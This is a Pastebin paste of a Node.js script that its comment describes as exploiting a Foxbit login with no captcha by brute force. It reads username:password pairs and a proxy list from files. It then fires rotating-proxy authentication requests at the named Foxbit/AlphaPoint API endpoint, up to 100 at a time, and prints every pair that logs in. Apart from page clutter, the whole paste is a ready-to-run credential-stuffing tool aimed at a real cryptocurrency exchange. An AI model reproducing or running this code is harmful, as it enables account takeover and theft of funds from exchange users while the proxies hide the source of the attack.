Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Falha Foxbit
- * Login sem captcha c/ brute force
- */
- var RequestLib = require("request");
- var fs = require('fs')
- var LineByLineReader = require('line-by-line'),
- lr = new LineByLineReader('proxy.txt');
- var lines = fs.readFileSync('pass.txt').toString().split('\n');
- var linesProxy = fs.readFileSync('proxy.txt').toString().split('\n');
- var leet = 0
- var leetProxy = 0
- global.users = []
- global.passwords = []
- global.proxys = []
- for (var i in linesProxy) {
- global.proxys[leetProxy] = linesProxy[i].trim()
- leetProxy++
- }
- for (var i in lines) {
- if (lines[i].split(':')[0]) {
- global.users[leet] = lines[i].split(':')[0].trim()
- global.passwords[leet] = lines[i].split(':')[1].trim()
- leet++
- }
- }
- process.on('uncaughtException', function (err) {
- console.error(err.stack);
- console.log("Node NOT Exiting...");
- })
- global.Threads = 0
- global.MaxThreads = 100
- setInterval(function() {
- if (global.Threads <= global.MaxThreads) {
- var randomUser = Math.floor(Math.random()*global.users.length);
- var userLogin = global.users[randomUser].replace('@', '%40');
- var userPass = global.passwords[randomUser];
- global.Threads++
- var authenticateUrlSulfix = "@apifoxbitprodlb.alphapoint.com:8443/AP/authenticate";
- var proxyUrl = 'http://' + global.proxys[Math.floor(Math.random()*global.proxys.length)];
- var Request = RequestLib.defaults({'proxy': proxyUrl})
- Request.post({
- "timeout": 15000,
- "headers": {
- "content-type": "application/json"
- },
- "url": "https://" + userLogin + ":" + userPass + authenticateUrlSulfix
- }, (error, res, body) => {
- global.Threads--
- if (!error) {
- var got = JSON.parse(body)
- if(got.Authenticated) {
- console.log('CORRECT ' , proxyUrl, userLogin, userPass)
- }
- }
- })
- }
- }, 1000)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement